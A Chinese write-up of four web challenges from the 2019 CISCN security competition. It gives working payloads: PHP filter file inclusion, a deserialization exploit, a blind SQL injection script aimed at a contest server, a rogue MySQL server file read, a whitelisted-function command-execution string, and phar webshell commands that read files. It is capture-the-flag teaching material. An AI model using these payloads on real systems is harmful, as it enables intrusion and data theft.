2019全国大学生信息安全竞赛ciscn-writeup(4web)
web1-JustSoso
php伪协议获取源码
?file=php://filter/read=convert.base64-encode/resource=index.php
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
} }
$payload = unserialize($payload);
}
else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
} class Flag{
public $file;
public $token;
public $token_flag; function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
分析代码可以看出是要包含hint.php然后构造反序列化,拿到flag
有以下几个难点
1. parse_str不能出现flag
2. handle的wake会把变量清空
3. token===token_flag
根据一些以前做过的题目,找到对应可以使用这些方法,
1. 使用域名之后使用///
2. 将我们payload中O:6:"Handle":1改为O:6:"Handle":2
3. 使用引用,使token为token_flag的引用

最终payload:另外类中包含类用%00补全空缺的字符
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
web2-全宇宙最简单的SQL
简单测试就可以确定username存在sql注入,且使用一些payload尝试会输出登录失败和数据库操作失败,


可以利用这点构造payload
尝试输入大整数~0


简单测试后发现if,or,sleep,benchmark都被过滤了。
并且因为or被过滤无法从information_schema获取表名,字段等信息
好在简单猜出表名为user,一个字段为username,另一个大概率为password,没法确认
接下来需要进行同表查询
#coding=utf-8
import requests
s=""
url="http://39.97.227.64:52105/"
for i in range(100):
for j in range(30, 128):
username="' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=i,j=j)
data = {"username":username,"password":i}
r=requests.post(url,data=data)
r=r.content
if '数据库操作失败!' in r:
s+=chr(j)
print s
print s #F1AG@1s-at_/fll1llag_h3r3
只获取用户名为admin,密码为F1AG@1s-at_/fll1llag_h3r3
进入后台发现是一个是一个mysql客户端,可以连接任意服务端,
这样的场景存在一个任意文件读的漏洞,前几天在ddctf中做过,所以直接将rogue_mysql_server.py部署好,需要读取的文件为/fll1llag_h3r3,输入ip地址读取即可
web3-love_math
这题很难很硬核,两个难点
1.只能使用白名单中的函数
2.输入长度小于80
这两点导致输入只能为数字,这点可以爆破,选出合计长度最短即可
for($i = 9;$i<=36;$i+=1)
echo base_convert(exec,34,$i).' '.$i."<br>";
经过前前后后多次调试,终于弄出一个合适payload
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
长度79,相当于exec('cat f*'),用system(cat *)长度会变为80。。
web4-RefSpace
首先首页可以文件包含读源码
?route=php://filter/read=convert.base64-encode/resource=index
index.php
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag
app/flag.php
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information
backup.zip

在robots.txt中,发现上传点

简单测试发现只能上传jpg和gif,因为前面存在文件包含操作,故可以通过上传压缩包,然后使用phar命令执行代码


使用?route=phar://upload/eval.gif.gif/eval&cmd=code
发现system执行不了命令
执行了phpinfo();发现禁用大量函数,但没有禁用scandir和file_get_contents所以可以读代码

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("."));

发现flag.txt,但是被加密了
phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("app"));

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/Up10aD.php"));
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
} if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html> <head>
<meta charset="UTF-8">
</head> <body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form> </body> </html>
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/index.php"));
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html> <head>
<meta charset="UTF-8">
</head> <body> Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); --> </body> </html>
phar://upload/eval.gif.gif/eval&cmd=scandir("/");
发现/ctf目录可以读

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("/ctf"));

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/sdk.php"));
<?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
return sg_load('A99ED...此处省略一万字...ATbQ8qZpbG56Q0FLEBD9HqiLuorcDsqfVG2iU//NLl9Hh8BwjQHcLfQOZ9nSeuSKrMFO6u06gAAAAA=');
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/ixed.lin"));
返回一个elf文件,看起来是加密使用的,前面提示不需要破解,没有继续尝试。。。
现在看了所有代码后,发现只剩下sdk开发文档中的内容了。。

意思是我们要输入一个key与getHash一致,我们就能获得flag。
经过不知道多少尝试,查了多少资料,最终得到以下一些结论
1.getHash是一个私有方法
上传这样一个文件

包含,phar://upload/eval.gif.gif/flag

复习类相关后,懵逼了。。。我要怎么去获取一个私有方法的返回值?
判断处还是===,排除弱类型。
然后想起面向对象的三大特性,继承封装与多态,然后查询php相关,发现php的私有方法继承后也还是私有,那么尝试多态
我们可以通过继承然后重写getHash方法,但是这样,依然无法获取flag的值,重写后,返回值也被覆盖了。。。
再三思索。发现一个问题,能不能重写sha1函数?
经过查找与尝试发现可以,只要使用命名空间namespace就可以
尝试上传,访问

返回

尝试上传

返回为

这里心态又崩了,这个getHash八成是一个真的sha1的hash,只有输入真hash才能通过
那么就是说必须读取这个私有方法,接下来就是百度百度百度

发现有个反射可以读,结合题目名字refspace,space指namespace,那么ref一定是ReflectionClass!把文章中代码改了改上传。

获取hash,a356bc8d9d3e69beea3c15d40995f395425e7813
然后将代码改为如下,获取flag


2019全国大学生信息安全竞赛ciscn-writeup(4web)的更多相关文章
- 2019全国大学生信息安全竞赛部分Web writeup
JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...
- 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分
ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...
- 全国大学生信息安全竞赛初赛writeup
本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...
- 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏
2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...
- 2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup
0x00 Begin 关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获全国一等奖第一名,在这里非常感谢我的团队以及我的队友. 0x01 Reverse 下载题目:e ...
- 第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup
笔者<Qftm>原文发布<BitHack>:https://bithack.io/forum/469/answer/333 0x00 Begin 关于 ISCC 2019 北理 ...
- 2016全国大学生信息安全竞赛(Misc)
你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...
- 2019全国大学生信息安全大赛两道web
简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...
- 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup
审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...
随机推荐
- vue_插槽的理解和使用
对于插槽的概念和使用,这是vue的一个难点,这需要我们静下心来,慢慢研究.以下是我这两天通过官网和其他资料的学习和使用总结出来的笔记,如有错误或者有不同见解的,欢迎留言,一起学习. 什么是插槽? 插槽 ...
- python的continue和break
continue:表示终止当前循环,开始下一次循环 break:终止所有循环 s = 0 while s < 3: s += 1 print(s) continue#'@' print(abc) ...
- 用js刷剑指offer(两个链表的第一个公共结点)
题目描述 输入两个链表,找出它们的第一个公共结点. 牛客网链接 js代码 /*function ListNode(x){ this.val = x; this.next = null; }*/ fun ...
- acrobat 导出300dpi图片
文件-导出-图象-jpeg 设置 分辨率118.11像素/厘米
- MySQL中的char与varchar详解
mysql中char与varchar的区别: char:定长,效率高,一般用于固定长度的表单提交数据存储 :例如:身份证号,手机号,电话,密码等 varchar:不定长,效率偏低 1.varchar ...
- 二叉树(python)
# -*- coding: utf-8 -*- from collections import deque class Queue(object): def __init__(self): self. ...
- JDK源码那些事儿之SynchronousQueue下篇
之前一篇文章已经讲解了阻塞队列SynchronousQueue的大部分内容,其中默认的非公平策略还未说明,本文就紧接上文继续讲解其中的非公平策略下的内部实现,顺便简单说明其涉及到的线程池部分的使用 前 ...
- C#使用托管程序连接Oracle数据库(Oracle.ManagedDataAccess.dll)
一.概述 Oracle Data Provider for .NET, Managed Driver: Oracle官方的托管数据库访问组件,单DLL,Oracle.ManagedDataAcces ...
- mini_frame(web框架)
文件目录: dynamic中:框架 static:css,jss静态文件 teplates:模板 web_server.conf: 配置文件 web_server.py: 主程序 run.sh:运行脚 ...
- Linux命令基础4-cat命令
cat命令连接文件并打印到标准输出设备上,cat经常用来显示文件的内容,类似于下的type命令. 注意:当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容.因此,一般用more等命 ...